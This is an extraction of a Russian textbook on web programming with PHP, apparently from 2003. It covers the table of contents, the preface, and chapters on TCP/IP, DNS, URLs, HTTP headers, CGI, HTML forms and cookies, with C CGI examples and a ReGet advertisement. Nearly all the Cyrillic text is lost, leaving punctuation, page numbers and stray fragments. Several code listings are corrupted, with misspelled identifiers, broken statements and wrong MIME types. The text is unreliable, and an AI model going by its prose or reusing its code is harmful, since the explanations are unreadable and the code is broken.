Академический Документы
Профессиональный Документы
Культура Документы
ru
www.bhv.kiev.ua
! 1! 1
1|<
Li
Web-
4
-
-
2003
681.3.06
. .
4. .: -, 2003. 576 .: .
ISBN 5-94157-071-6
4 , , , Web-. HTTP CGI,
, , - , , .
Web-
681.3.06
:
.
ISBN 5-94157-071-6
. ., 2001
, "-", 2001
2
3
4
5
I. WEB-
1.
11
TCP/IP
IP-
....
- ()
HTML-
( HTML-)
Web-
World Wide Web URL
11
13
14
14
16
19
20
20
21
21
22
22
22
23
23
24
24
24
24
25
25
26
26
26
27
'
2. CGI
28
CGI?
URL
GET
GET
POST
Content-type
User-Age n t
28
29
30
32
32
32
33
IV
Referer
Content-length
Cookie
Accept
telnet
POST
""
POST\\
3. CGI
CGI-
CGI-
GET
POST
URL-
<input>
<textarea>
<select>
(file)
Cookies
Cookie
Cookies
Cookies
'
33
33
34
34
34
35
36
37
38
38
39
40
42
43
44
46
48
48
50
51
53
56
57
61
62
64
64
66
67
69
71
71
73
II. .
WEB- APACHE
77
4. Apache
79
: ?
: Apache
:
: Apache
: Apache
Apache
79
80
80
81
82
86
88
5. MySQL
93
Apache
MySQL
MySQL
93
95
96
97
98
100
III.
103
6.
105
?
-
Web
106
108
110
114
7. , ,
117
string
int, long
double,
bool
array
list
object
void
mixed
float
117
118
121
122
123
123
124
124
126
126
127
127
127
127
128
128
128
128
128
129
129
130
130
130
132
133
135
136
136
136
VI
137
137
138
138
140
140
8.
143
Cookies
143
145
146
148
149
151
9.
if-else
while
do-while
for
break continue
do-while break
foreach
switch-case
require
include
include
10.
" ".
list()
: ?
array()
countQ
11.
return
153
;
153
154
155
156
156
157
159
160
161
162
163
163
164
167
168
170
170
171
172
172
173
173
175
177
178
179
181
182
184
...185
VII
SGLOBALS
" "
: Dump()
186
187
188
190
191
192
194
195
195
197
198
199
201
202
IV.
203
12.
206
if-else
( )
-
13.
(asort()/arsort())
(ksort()/krsort())
uksort()
uasort()
array_reverce()
sort()/rsort()
usortQ
shuffleQ
...
206
207
209
210
212
213
214
216
217
218
219
221
223
225
226
226
226
227
227
228
228
228
229
229
230
231
232
VIII
232
232
234
236
14.
238
238
239
239
241
242
242
243
15.
or die()
/
/
CSV-
""
16.
:
17.
244
>
244
245
249
249
250
250
251
251
252
253
254
254
255
255
256
257
258
260
261
262
265
266
268
268
269
271
273
273
275
...276
IX
18.
277
19.
280
timestamp
20.
.
: ""
21. WWW
Cookies
Cookie
Cookie
SSI virtual()
virtualO
22. RegEx
RegEx
""
280
281
283
285
285
286
286
287
287
288
289
289
289
290
290
291
291
292
293
294
294
296
296
296
297
297
298
298
298
299
299
300
302
304
304
305
305
308
309
309
309
310
E-mail
.....
23.
GetImageSize()
GD
RGB
RGB-
TrueType
:
24.
error^reporting
magic_quotesjgpc on/off
max_execution_time
track_vars on/off.
@
310
310
311
311
312
314
315
316
316
317
318
319
320
320
320
321
322
322
322
323
324
324
324
325
325
326
326
327
327
327
328
329
329
332
332
333
334
334
335
335
335
336
337
337
...338
25.
?
:
Cookies
SID
Cookies ?
26. MySQL
MySQL
MySQL
,
MySQL
MySQL
XI
339
339
341
343
344
345
345
346
347
348
349
349
350
351
352
352
354
354
357
357
358
359
360
361
362
363
364
365
365
366
366
371
371
371
371
372
372
...372
373
373
374
374
375
377
378
379
XII
27.
DNS
IP-
IP-
381
381
382
383
383
V.
387
28.
389
Multipart-
:
390
390
391
392
392
393
395
396
29. . ""
: auto_prependjlle
: Apache
Apache
30.
397
397
398
404
405
406
407
407
411
412
-.413
415
416
417
417
419
421
422
423
423
425
426
427
428
429
431
...433
Apache
""
31. -
MySQL
.
MySQL
32.
-
33.
checkbox
XIII
434
441
443
449
450
451
453
454
454
456
456
459
460
461
462
464
465
478
479
481
482
486
486
488
493
496
496
501
503
504
VI.
507
1. Apache httpd.conf
509
2. php.ini
536
555
-...
in
!!!
Get ReGet!
ReGet - , ,
FTP- HTTP-.
, ReGet
-.
, ReGet
.
ReGet 1.7- MS Internet Explorer 5.5,
Windows 2000 .
ReGet -
. ,
, .
ReGet - .
!
www.reget.com
.
, "" ,
. , , Web, , , Web-. , , , .
(, ) .
, , Web. ", , ""
? ,
- , "" ,
, , . , -, ,
..." . ,
, ,
, Web, , .
, . ,
, Web-. ,
.
" ", Web-
. ,
.
. , Web . ...
, , , " ", - "" . , ( ),
, ,
. . - Web: " ", -
( , ) . , ,
"" ,
- .
, IBM, : "
. : . , , ". ,
.
, Web-, . , , ? , , " "
, , . ,
. , ,
,
- .
. , ? ,
, , ,
. , ,
.
, , , ( , )? .
, , - Doom,
.
, , Web ( , Web)
. . ,
, "" Web-. , ,
, . , ,
" ". ,
, ,
, , " ", .
, "". , "" . , , , ( )
, . ? ,
,
.
.
Sun Microsystems (, ), Windows 50
. , ( ,
10 , ). 50 20 =1000 (
20 ). ,
30 (, , - , ). , , 1000 /(30/60 )/
/3600 =555 555 , 555 555/24=23 148 23 148/365=63 ! , , , 24
, .
, , ,
(
). , " ",
, ?..
50 , 5 . ,
, 1000 . 6 . , , 555 555/10/1000(24/6)=222 ,
. ... , ?..
, , -
. , ?!
,
. , -
, . ,
, Internet Explorer?
...
, :
Web-. - ,
.
, .
, ,
Web-. ,
, ,
Web.
, ,
. 4, , Web , , . , ,
Web, , .
Web-, . ,
Web-. , . , "" " ",
, , Web.
"" "
, ..." " ...",
. ,
, , . : " ,
, ,
, ". ,
,
. : , -
, , , , , . , . -, "
" .
, ( ) ,
:
;
Web-.
, - . ,
, ( ),
. :
"", . . -
. ,
. , ,
, .
, 33 ,
.
. -
CGI (Common Gateway Interface )
, Web- . .
.
,
Web-.
.
Web, , .
(, Perl
), . , Web, CGI, ,
HTML Web,
CGI HTML . ,
Web-
. CGI -
, "" ( ). ,
: , "". ,
.
, .
, Apache. Apache
, (
, ).
,
. ,
- , Apache.
Apache Windows, ,
, . , - , " ",
. - "" Web " " .
.
.
, Web. 99% , . 1% Perl ( ). ,
: , , , ,
, ,
. ,
, .
,
, . , , . , ,
. ,
, ,
. , "" Web, , , . , -
( ), , .
. , . ,
, Web-
, . ,
, , . ,
- , , HTML .
,
. : (upload) , , . .
, Web. 1 Apache httpd.conf.
,
. 2
, . , (
).
I.
WEB-
, , ,
. . , , , , , .
. . , , ,
, .
, ,
.
, ""
, ,
. "": , "" . ,
, , ,
.
. ,
,
, , . .
, , .
.
, . ,
, Web-. -
I. Web-
12
Web-
ti
TCP
TCP
I:P'
.[
IP
.
>
. 1.1.
1.
13
" " ,
" ". , IP (
TCP)
TCP, a TCP, , " "
HTTP ( Web-,
HTTP ).
, .
.
, ""
, . . HTTP , TCP.
TCP/IP
, TCP, , , , (, TCP ).
, , , IP ( , IP , ). TCP IP ,
TCP/IP ( UDP, ). TCP, .
! , .
(, , ,
), "" , .
, . , "" ,
. , (, ),
, , .
TCP/IP , , -
14
I. Web-
. , , .
,
.
(
),
"" ( ).
, ""
, .
, TCP/IP.
Web- TCP/IP ( ) "", , HTTP, . , .
. ,
TCP/IP, .
, . ,
,
. , ( ). , ,
,
. TCP/IP
IP- . , .
, , .
. , " " , . -,
, -, ,
"-" , .
IP-
,
"",
1.
15
, IP-. 30 (, )
IP- :
127.12.232.56
, 8- (
0 255 ), .
IP-:
(, 127.. . 1 , , 255 ). .
: (
). , , IP- ,
? "" ( ""?)
,
, ? , , , , .
.
, ,
. , 1 ( ), 11 ( )
. , ?
, , , HTTP, WWW (World Wide Web,
).
(
, , , .
, "", .
,
,
, ""
. , (
, ,
). -
.
, 1
somehost - IP-. : - , somehost.
16
I.
Web-
(, 0,1 , . .
, ), , .
? .
. , somehost. , , 0,1 . ? 0,2 11x10=
= 110 . , .
, 1 "" 10 , . . 10 , !
, : -
. ,
, , ""
. , , ,
100 .
.
,
"" . IP- , , D.
, . TCP/IP ( ).
- IP-
. , ,
. , DNS (Domain Name System ).
DNS , IP-. - , , . ,
DNS, .
, DNS
IP-, . :
www.somehost.msu.su
To , ( ), . N- (-
1.
17
, su , m s u . s u - - , s o m e h o s t . m s u . s u -
. .)
, DNS- : , :
www . somehost . msu . su .
(-, ) , . , .
^
, ?
. IP- DNS- . . . , ,
, ...
, IP- .
IP-. HTTP 1. 1 (
) Web-,
- , ,
, ,
IP- . HTTP 1.1 , ,
Web.
, DNS-
IP-. DNS , , ,
, ,
(, ).
, Web- (,
) . , , Netscape.
DNS-? DNS-, , IP-.
, . IP- w w w . h o s t . r u . ( ! ). , (,
DNS-, ),
18
I. Web-
"." ( , ). :
IP- (, IP- DNS-), ru. IP- ,
, host ru ".".
IP- www
somehost.ru.
, "" , , , . . . , , , ru. ( )-- , h o s t . r u . -- ,
. .
, , . ,
, , , , DNS-, DNS-.
? . ,
".", IP- . , DNS-, (
ru, com . .)
. , ,
, w w w . h o s t . r u .
, , ,
host , , www.
w w w . h o s t . r u . , IP-,
. DNS- . , , , , h o s t . r u .
IP-.
, .
, , , , IP-: ,
IP- .
, IP-, , IP-
, , , . .
1.
19
, . ,
, .
, , . , -, (, ) IP. TCP
. ,
, - . , ,
TCP. , . , TCP
, .
( ),
-
() .
, :
"" , ;
,
- ;
. "" ( "" ).
, ,
TCP,
, , 0
65 535 ( 2
). TCP ,
, - ""
( ).
,
. , ,
"" , .
TCP- : , ,
?
, . , , :
IP- , ;
, .
2 . 699
20
I. Web-
, ,
TCP , IP- . "
" , , .
"", , - , .
, TCP : . "" ? , - , ( ,
, TCP ). TCP ,
"" . .
, .
"" ( " ", 3 ), . ,
Unix ( , ). , ,
, , . ,
, PHP f sockopen ( ) .
,
"" . , , .
, , , , "" . " ". ,
, .
, , , "" .
"" IP-, -
1.
21
, . -
(""), , IP- ( ),
.
, "". , . ,
. , - TCP/IP, . . "" . ,
, ( ,
,
, TCP/IP). ,
.
"" , ,
( , TCP - ),
. , , WWW,
Web-. , , . , , .
, , IP. - . -
( , ).
, : , IP- , . ()
, ,
. ,
,
IP-. ,
,
WWW, DNS-.
, , TCP "", IP-
. , IP- .
, , . ,
TCP. , ,
22
I. Web-
, . ,
Web- 80, ,
- , 80
.
,
, . , -- -.
Web-, FTP- Telnet-.
^~
, Web-
, . , . .
Web-. , ,
"" . , ""
(-), , - , .
( 100200
), ,
.
, ,
.
( , ).
, . , . ,
1.
23
. , . . ( )
, , , . ,
, , .
, : , ,
.
, IP- , , ,
- (,
DNS-). , HTTP 1.1. Web- (, , )
, , IP-.
, ,
HTTP 1.1,
.
- ()
, ( )
,
. -, , , telnet- ( ) . . ,
. , -, ( ).
- Web-
24
I, Web-
, : ,
Web- Windows. (
, TCP ,
, ,
.) , . , ,
.
, -.
,
HTML- ( HTML). , , , . ,
, .
HTML-
, HTML.
( HTML-)
World Wide Web, Web-
. HTML, " " -
. , , , , HTML- . HTML
(Hypertext Markup Language ) .
, . , , -
HTML, , .
1.
25_
Web-
, , , .
"i".
, HTML- , , "
" . ,
, Web-. ( , ,
. .) Web- . , Web- (,
-, ), .
Web-,
.
, ""
, , . .
" ". , ,
, .
, - . , , , IP-
. .
26
I. Web-
- . , Web-
. , , .
URL :
http://www.somehost.com:80/path/to/document.html
URL.
URL, ( h t t p : / / ) , , Web-.
HTTP, . , HTTPS
, , , Web- . ,
, TCP,
. , , HTTP.
, ( www.somehost.com).
, IP-. , , (
),
IP-.
(
) . , HTTP
80 ( 81).
, . ,
(,
, ), , 80
Web-, HTTP- . , , FTP Telnet, .
1.
27
,
( /path/to/document .html). , , , , " "
. , /Y/M/N.html
N Y, , http://_/20/
/ 2 0 . h t m l , 20 2000 .
20.html ,
,
( ,
).
,
, -
.
, . . , :
http://www.somehost.com/cgi-bin/something
, cgi-bin,
, - .
html ( HyperText Markup Language ) Web. HTML
, , , . . html : g i f ,
jpg , cgi, pi (,
) . . , ,
, ,
, htm
HTML- ( ).
)
,
.
CGI
CGI (Common Gateway Interface )
, Web-
Web-.
. ,
Web- CGI-. . CGI Web-, CGI .
CGI-, .
, , , "
" , Web-. -, . , .
CGI?
,
http://www.somehost.com:80/path/to/document.ext
, HTML- (
, ). , ,
/ p a t h / t o / document. ext,
( , , Web-,
80 ).
. .
/path/to/, document.ext
.
(alias) . ,
,
Web-, ""
( 7).
2. CGI
29
document. ext , , ,
, HTML- (, ,
, , ).
, . ,
. ,
, .
. ,
, , CGI. CGI , . , CGI, - ,
-, Basic (, Perl ).
. , , , " ". , , -
. , , ,
. ,
, , !
. ,
, ,
. ,
, ( -
, )? ,
- , , ( , , ). CGI. URL.
URL
, , - URL? , .
URL "" :
http://www.somehost.com:80/path/to/document.ext?parameters
, parameters, . . , , ( ,
30
I. Web-
URL-, . ). -
CGI-.
. ,
.
. , , :
http://www.somehost.com/script.cgi?time=+5
script.cgi,
, (, time +5, . . 5 ) . , =.
(,
, )? :
http://www.somehost.com/script.cgi?time=+5&name=Vasya
, &.
,
. ( -
,
""? ,
). , ,
: ,
. . , ,
.
, ( URL) GET. ,
(, ), GET. ? , .
( ) - POST, ,
"" .
GET
, ,
somestring <Enter>.
2. CGI
31_
somestring? , . . ,
( ,
), Web-
-. - :
GET somestring HTTP/1.0\n
... ...
\n\n
\ , \ \ , (,
). ,
.
, GET- , . . (headers), . HTTP .
HTTP. , , , , POST, .
. , (, -) . (
) , .
CGI-, . ,
,
(
). .
^)
, - , ,
. Web, .
,
,
CGI-. .
32
I. Web-
, ,
. .
GET
: GET ? /1.0
POST
: POST ? / 1 . 0
Content-type
: Content-Type:
application/x-www-form-urlencoded
: CONTENT TYPE
2. CGI
33
.
appiication/x-www-form-uriencoded, , ( ) .
, GET POST.
multipart/form-data. , , .
,
, .
User-Agent
: U s e r - A g e n t : M o z i l l a / 4 . 5 [en]
( W i n 9 5 ; I)
: HTTPJJSER_AGENT
( Netscape Navigator).
Referer
: R e f e r e r : _
: HTTP_REFERER
, URL , . , , (,
), , Referer.
Content-length
: Content-length:
: CONTENT_LENGTH
34
I. Web-
, , POST.
GET, , , .
Cookie
: C o o k i e : _)<1
: HTTP_COOKIE
Cookies URL- ( Cookies ).
Accept
: A c c e p t : t e x t / h t m l , t e x t / p l a i n , i m a g e / g i f , i m a g e / j p e g
: _
,
"". . ,
*/*, .
(
HTTP 1.1), .
telnet
, "" ,
telnet- (, , ,
IP- , , , ""
) . ., . , h t t p : / / w w w . s o m e h o s t . c o m / ,
(Unix, Windows 95/98/NT/2000 ) ( <Enter> ):
telnet www.somehost.com 80<Enter>
GET /index.html HTTP/1.0<Enter>
<Enter>
, HTML-
index.html. , HTTP.
, .
2. CGI
35
, "Bad Request", , . ,
HTTP/I . .
, . : "\\" (,
, "" ), ,
, .
, , Cookies, POST . . -
, , ( , ).
POST
POST. ,
GET POST ( \\)
- ?
.
Content-length , :
POST /script.cgi HTTP/1.0\n
Content-length: 5\n
\n
Test!
,
. ,
\\, , T e s t !
5 .
, POST-
( , ), . ,
, . . ,
? content-Length,
.
.
POST? ,
. , Web (. )
. , POST
I. Web-
36
: , GET, , ,
, URL ,
POST- URL .
, GET, POST URL- . ?
, (, , 20
), - -
E-mail Web - " " ,
127. , 0 .. 32 128 .. 256
URL- . ,
, : %. ,
(+). ,
.
,
(, 3 !).
-.
-. ,
, . ,
, ,
, ASCII. ,
, , KOI-8-R, WIN, .
,
( ,
, ). , ,
, , ! , "" ,
, -
. .
, "" - , .
(
,
,
2. CGI
37
. ,
online-. ,
.
? ,
, , - ,
. ,
, , ? , Web-
, telnet'y? - ?
-, . ,
. .
, , GET POST.
URL- ,
, . , HTML
.
GET.
URL . ?, &, %...
, . ,
HTML, , ,
. ,
HTML, .
,
s c r i p t . c g i (, , cgi CGI-, , ,
). 2 :
name . , .
h t t p : / / w w w . s o m e h o s t . c o m / s c r i p t . c g i
HTML-:
<html><body>
, name! , age !
</body></html>
, name age , .
38
I. Web-
""
URL, . ,
http://www.somehost.com/script.cgi?riame=Vasya&age=20
:
<htmlxbody>
, Vasya! , 20 !
</body></html>
, &,
=. . , .
,
0 , - Windows, . ,
HTML- (, form.html ) , . 2.1.
I 2.1. /form.html
<htmlxbody>
<form action=script.cgi method=GET>
:
<input type=text name="name" value="Hen3BecTHbM"xbr>
:
<input type=text name="age" value="HeonpefleneHHbM"><br>
<input type=submit value=" !">
</body></html>
,
(, name="age"), . , ,
HTML ( , ,
), . name value ,
. , HTML ( -
2. CGI
39
),
.
. :
'jlXAhomolciaclcciAwwwYlorm.hlml - Microsoft
^ | J
. ........,"..............
^ '
'
\ |
-;:
."
...
; ."
http://wvvw.sornehos1.camAorm.html
: [
: (
! J
;
:.[ | | |S|
. 2.1. HTML-
, ,
!, URL,
action <form> :
http://www.somehost.com/script.cgi
? , input
, (&). =. , ?
, URL,
, (,
Vasya 20 ):
http://www.somehost.com/script.cgi?name=Vasya&age=20
, , , , , URL-
. ,
.
action <form>. (/), .
40
I. Web-
, script.cgi ,
(, HTML- ).
(
, ,
. action :
<form action="/some/path/script.cgi">
,
(, , )
/ . , , ,
URL , ,
( ).
:
<form action="http://www.other.com/any/script.cgi">
, ,
, , .
, ,
"" .
World Wide Web ( ) , ,
.
POST
, GET, POST? : method=GET
method=PosT. .
action <form> ,
GET.
2.
CGI
41
,
, , . .
,
, .
: , - ( ).
, , : , . ,
HTML- ,
. , , ,
, . ,
, : ", . , ?". , ,
URL .
( 99% , ). , ""
( URL , , , ). ( ) .
.
CGI
CGI.
, .
- CGI- (CGI), ? , ?
, .
,
CGI-. ,
, , () - CGI- ( ). , . , . . ; , ,
( ,
, .). ,
- .
,
( , "Hello,
world!"). , ,
( , , , ,
Web-). , CGI , , . , (,
).
-, , ( !) ,
( ++).
, ,
,
.
3. CGI
43
, .
, " ". , ,
, HTTP
. ,
Web-.
,
, . , CGI HTML, , . , , .
, ,
( Web), . . ( )
. , , ,
, . , ,
:
( ) .
( , ):
( stdout), . ,
, , "". ( ,
. ,
"" .)
, , . , : ,
. ,
, , GIF ?
.
44
I. Web-
, , . , ( ), , .
\\. , , , , .
, . ,
. , , :
/1.1
:
/1.1 404 File Not Found
,
. , . , , ,
.
( )
,
. , ,
(,
status, ). .
.
Content-type
: Content-type: !_; charset=koi8-r
. charset
( KOIS-R). mime_n
, :
text /html HTML-;
D text/plain ;
image/gif GIF-;
3. CGI
45
image/jpeg JPG-;
.
Pragma
: Pragma: no-cache
, ,
. , , ,
.
Pragma ( ,
),
.
Location
: Location: http://www.otherhost.com/somepage.html
,
,
(
URL). , ,
Location, .
Location , . , , , , .
Set-cookie
: Set-cookie:
_)<1
Cookie . , Cookies .
46
I. Web-
Date
: Date: Sat, 08 Jan 2 0 0 0 1 1 : 5 6 : 2 6 GMT
.
Server
: Server: A p a c h e / 1 . 3 . 9
(Unix)
PHP/3.0.12
CGI-
,
, ( 3.1).
! 3.1. script.
!...
#include <time.h>
// rand()
#include <stdio.h>
// /
3. CGI
47
CGI .
cgi-bin,
. , , (
).
, , ,
.
:
http://www.myhost.com/cgi-bin/script.cgi
HTML-. , Reload
( ) , (
).
Pragma: no-cache
, ,
HTML-,
. ,
- GIF- (, ). :
Content-type: image/git
-- GIF-
( fwrite, . . "" GIF-).
:
... - ...
<img src=http://www.myhost.com/cgi-bin/script.cgi>
... ...
, . ,
,
, . , .
: CGI- HTML-, MIDI-.
content-type. He -
48
I. Web-
, 500- (
Apache), .
CGI-
, ( , ), .
,
, ( POST) .
.
.
, , , (
). (
, ):
_
( , ) - , . , */*, , .
HTTP_REFERER
, , CGI. , ,
, ( , , -
).
HTTP_USER_AGENT
. MSIE, Internet Explorer,
, Moziiia, Netscape.
3. CGI
49
HTTP_HOST
Web-, . ,
Host HTTP 1.1.
, , , Location,
( ,
"" , ,
).
SERVER_PORT
( 80), . Location.
REMOTE_ADDR
IP- ( ) , .
REMOTE_PORT
, .
SCRIPT_NAME
( URL
, ?). , ,
Location
(self-redirect), action
<form> , (
).
REQUEST_METHOD
, ( GET POST, ). , , ,
, ,
, , POST. , .
QUERY_STRING
, URL . , GET, POST (
action <form>).
50
I. Web-
CONTENT_LENGTH
, .
,
POST-.
GET
. ( ,
, URL ?) QUERY_STRING.
, URL-. .
, .
, getenvo . ,
.
: 3.2.
#include <stdio.h> // /
ftinclude <stdlib.h> // getenvO
void main (void) {
// REMOTE_ADDR
char *RemoteAddr = getenv("REMOTE_ADDR") ;
// ... QUERY_STRING
char *QueryString = getenv("QUERY_STRING") ;
//
printf ("Content-type: text/html\n\n") ;
//
printf ( "<htmlxbody>" ) ;
printf ("<1>. !</>");
printf (" IP-: %s<br>",RemoteAddr) ;
printf (" , : %s",QueryString) ;
printf ("</body></html>") ;
CGI-.
:
http: //www.myhost.com/cgi-bin/script. cgi?a=l&b=2
3. CGI
51
:
. !
IP-: 1 9 2 . 1 6 8 . 2 3
, : =1&=2
POST
GET,
, ( stdin). To ,
, , . (, ,
, " " .)
: , POST,
, GET. ,
POST URL. , ,
QUERY__STRING.
,
POST? ? CONTENT_LENGTH,
(, ).
, POST-,
GET-, :
| 3.3. POST
#include <stdio.h>
linclude <stdlib.h>
void main(void)
//
char *RemoteAddr = getenv("REMOTE_ADDR");
char *ContentLength = getenv("CONTENT_LENGTH");
char *QueryString = getenv("QUERY_STRING");
//
int NumBytes = atoi(ContentLength);
//
char *Data = (char *)malloc(NumBytes + 1);
3 . 699
52
I. Web-
I /
fread(Data, I, NumBytes, stdin) ;
//
// ( )
Data [NumBytes] = 0;
//
printf ( "Content-type : text/html\n\n" ) ;
//
printf ("<htmlxbody>") ;
printf ( "<> . ! </>") ;
printf (" IP-: %s<br>",RemoteAddr) ;
printf (" : %d<br >", NumBytes );
printf (" , : %s<br>", Data) ;
printf (" , URL: %s",
QueryString) ;
printf ("</body></html>") ;
, ,
s c r i p t . cgi , / c g i - b i n / .
HTML- :
| 3.4. POST-
<htmlxbody>
vform dction=/cgi-bin/script . cgi?param=value method=post>
Namel: <input type=text name="namel"xbr>
Name2 : <input type=text name="name2"Xbr>
<input type=submit value="3anycTOTb !">
</form>
</bodyX/ntml>
, - ,
HTML-, , , :
. !
IP-: 1 3 6 . 2 3 4 . 5 4 . 2
: 23
, : namel=Vasya&name2=Petya
, URL: param=value
3. CGI
53
, POST , GET.
, POST ,
"" (
HTTP HTML).
URL-
, , , , ""
, URL-. ,
URL- .
. ,
, .
, , - ( "" ,
) %, .
, .
(, ) , ( ,
& =). , & =, ?
, ? , . , , .
, : (=),
( =),
, :
| 3.5. URL-
// st .
// , .
void UrlDecode (char *st) {
char *p=st; //
char hex[3]; // %
int code;
//
// , ( ,
54
I. Web-
// 0, . )
do {
// %~ . . .
i f ( * s t == ' % ' ) { //
h e x [ 0 ] = * ( + + s t ) ; h e x [ 1 ] = * ( + + s t ) ; hex[2]=0;
//
sscanf(hex,"%X",Scode);
//
*p++=(char)code;
// ,
//
// , "+", " "
else if(*st=' + ') *p++=' ';
// ,
else *p++=*st;
} while(*st++!=0); //
,
, , , , . , , . .
sscanf () . ,
, , .
, , . :
| 3.6. POST- URL-
#include <stdio.h>
#include <stdlib.h>
void main(void) {
//
char *RemoteAddr = getenv("REMOTE__ADDR");
char *ContentLength = getenv("CONTENT_LENGTH");
// QUERY_STRING
char *QueryString = malloc (strlen (getenv ("QUERY STRING")) -I- 1);
3. CGI
55
// QUERY_STRING
strcpy (QueryString , getenv ( "QUERY_STRING" ) ) ;
// QUERY_STRING
UrlDecode (QueryString) ;
//
int NumBytes = atoi (ContentLength) ;
//
char *Data = (char* )malloc (NumBytes + 1) ;
//
fread(Data, I, NumBytes, stdin) ;
//
// ( )
Data [NumBytes j = ;
// ( ,
// POST-, )
UnDecode (Data) ;
//
printf ("Content-type: text/html \n\n") ;
//
printf ("<htmlxbody>") ;
printf ("<> . ! </hl>") ;
printf (" IP-: %s<br>",RemoteAddr) ;
printf ( " : %d<br>", NumBytes);
printf (" , : %s<br>", Data) ;
printf (" , URL: %s",
QueryString) ;
printf ("</body></html>") ;
, .
QUERY_STRING. ? , . . , , 3.5.
, ,
. ? : QueryString
QUERY_STRING, , ,
. urlDecode ,
56
I. Web-
, , , .
, QUERY_STRING ,
, - ,
. .
, ? , . , , " , "
(
).
( submit). ,
(
).
3 :
<input...>
<textarea...>...</textarea>
<select. . .xoption. . .>. . .</option>. . .</select>
, , . ,
= , , &. , ,
, name, = .
, , . ,
( , JavaScript) . . , :
<form action=script.cgi>
... - ...
, Go! ,
, name.
. ,
, , -
3.
CGI
57
- (, URL
). :
<form action=script . cgi>
<input type=submit name=" submit" value="Go!">
</form>
Go!
submit=Go ! . , , URL (
,
submit).
, , <seiect>,
=,
, name, ,
, value (,
, ).
<input>
,
type. .
, ,
( , name
, ).
!
.
HTML , .
, .
(text)
<input type=text
=
[ != ]
[!=]
[!=]
size maxlen (
).
58
I. Web-
, , , maxlen
. , ( "" <input>) , .
value,
.
(password)
<input type=password
=
[value=3Ha4eHMe]
[!=]
[!=]
>
<input type=text>, ,
, , .
, - . ,
value, , , HTML- , ,
() ( ). , , , , , ,
- .
(hidden)
<input type=hidden
=
va1=
>
() . , - ,
, , .
, , CGI-, . E-mail ,
, , :
<form action=/cgi/sendmail.cgi method=post>
3. CGI
59
, text email. , . :
<forra action=/cgi/sendmail . cgi method=post>
<.2> :</h2>
E-mail: <input type=text name=emailxbr>
: <input type=text name="text"xbr>
<input type=submit name=doSend value="Oroc7iaTb">
</form>
, . , ,
.
,
, URL
. , , ,
submit.
(
submit ,
. , , ,
submit ( ).
<Enter> ,
submit-. , .
- hidden-, , submit:
, , -
,
URL .
(checkbox)
<input type=checkbox
=
[checked]
60
I. Web-
( ), , (
). ,
, =, , .
checked, , .
(radio)
<input type=radio
=
( ).
, , , . , , . ,
, . , name
, . , , , . - , =, ,
value ( , ). checked,
, .
, : ?
, ? . ,
( ) , "", . , 3 , 3 , (
!). , ),
...
(submit)
<input type=submit
=]
3. CGI
61
value=TeKCT
name ( )
(, ),
value. , name, .
=_ ( , ,
, , ). ,
submit,
(, - ) ,
, .
(reset)
<input type=reset
value=TeKCTKHOriKM
, . , (,
, ). , . .
reset .
(image)
<input type=image
[=]
s r =
,
, submit, , , ( ).
: .=&.=, (, Y) .
name , : x=x&y=Y.
<textarea>
, <textarea>.
, <input type=text>,
, . :
<textarea
=
62
I. Web-
[width=iiiMpiffla] [height=BbicoTa]
[=]
>, oe</textarea>
<select>
<seiect>. ( ) .
. :
<select = [size=pa3Mep] [multiple]>
<option [valuel=3Ha4eHMel][selected]>CTpoKal</option>
<option [!2=2] [selected]>CTpOKa2</option>
<option [valueN=3Ha4eHneN][selected]>CTpOKaN</option>
</select>
, . , <option>, .
size , . size 1,
, size
. multiple,
, . , multiple .
3. CGI
63
<option>.
value, , , ,
(, value ). ,
selected, .
, : </option> ,
HTML ( ).
,
. , =, <select>,
( , value, ).
(multiple)
, multiple? : , ,
He-multiple-, , . , , , :
=!&=2&...&=
, , . , . , , -:
<input type=checkbox = value="CiH">OflMH<br>
<input type=checkbox = value="flBa">flBa<br>
<input type=checkbox = value="TpM">TpM<br>
, (, URL- ):
=&=&=
:
,
. ,
"", "". .
, multiple- ( ), -miltiple . , , <seiect>
,
.
64
I. Web-
, . ,
Web. V.
, ,
. HTML
. .
,
?, & =. ,
, ,
. , , , URL- "" - - (,
URL- %). . , , , .
? &. , ,
POST, GET.
, GET ...
, - , <form>
enctype=muitipart/form-data. ( , ,
, enctype=appiication/xwww-form-uriencoded
.) , , ( ).
HTTP- "-",
. (\, , ):
_\
Content-Disposition: form-data; =""\
3. CGI
65
\n
\n
, :
3.7. Multipart-
<form action=... enctype=multipart/form-data method=post>
Name: <input type=text name="Name" value="Moe "><>
, submit ,
:
127462537625367\
Content-Disposition: form-data; name="Name"\n
\n
\
127462537625367\n
Content-Disposition: form-data; name="Box"\n
\n
l\n
127462537625367\n
Content-Disposition: form-data; name="Area"\n
\n
, (
_) . ,
,
. , . . , , , , , . , ,
( \).
HTTP , .
66
I. Web-
, .
( )
( ), , , . ( , )!
.
: , ="-"
( Content-Disposition),
, ( ,
). , .
HTTP ,
\\, \. , , , ,
\. , , .
(file)
, . , , Browse . <input>:
<input type=file
=_
[value=MMH ]
>
- (, \
^) .
:
127462537625367\
Content-Disposition: form-data; ="_";
> f11="\ "\ \
.
.
3. CGI
67
,
( filename).
, , .
, :
,
( , , ).
, ,
.
Cookies
Cookies (
, "" , "", ""). "",
Netscape , .
"" , , , , Cookies, ,
. ,
Cookie -- "".
. , :
, E-mail, (
), , ,
,
. -.
, , ,
.
,
? , -,
, , ,
?
, .
, , , .
: ,
IP-
. , ,
,
68
I. Web-
. , ( , ) IP-
() (
IP-, , , - ). , , .
,
, ,
, .
Cookies. Cookie , ( , !), ( ,
) . , Cookies, ,
, ,
. Cookies ,
,
(
Cookie). , Cookies,
"" ( , ), -- "".
,
? , , Cookies (
. ), , . , HTML- value (, ,
Cookies).
. , .
Cookies, , , Cookies ( ,
). , Cookies . Cookies,
Internet Explorer, "" Netscape, .
, , Cookies
,
. , Internet Explorer.
,
Netscape ( , , ). ...
, .
3. CGI
69
. , Cookie
, . , ,
Cookie, URL , -
( ).
? : , Cookies,
(,
, , Cookies).
"" Cookies
. : ,
, (
,
Cookies). , "" Cookies
- Cookie , ,
( ),
.
Cookie
: Cookie ? " ", . : Cookie
, .
, Content-type,
Cookie. (, , ):
Set-Cookie: name=value; !=; 1!=_; path=nyTb; secure
, . : , Cookie, <meta>. ,
. . ,
70
I. Web-
, .
^
, , : " ,
?" : " ,
! , (, ,
)".
Cookie:
name
, Cookie.
URL- , . . - . , Cookies
, URL- .
value
, Cookie. , ( Cookie)
URL-. , ,
URL- (, ,
2 , , . .
).
expires
!= Cookie. , Cookie , . ,
expires=Friday,3i-Dec-99 2 3 : 5 9 : 5 9 GMT, ""
"" 31 1999 . , :
, "" Cookie.
(, ,
Cookie 10 , )? ,
. ,
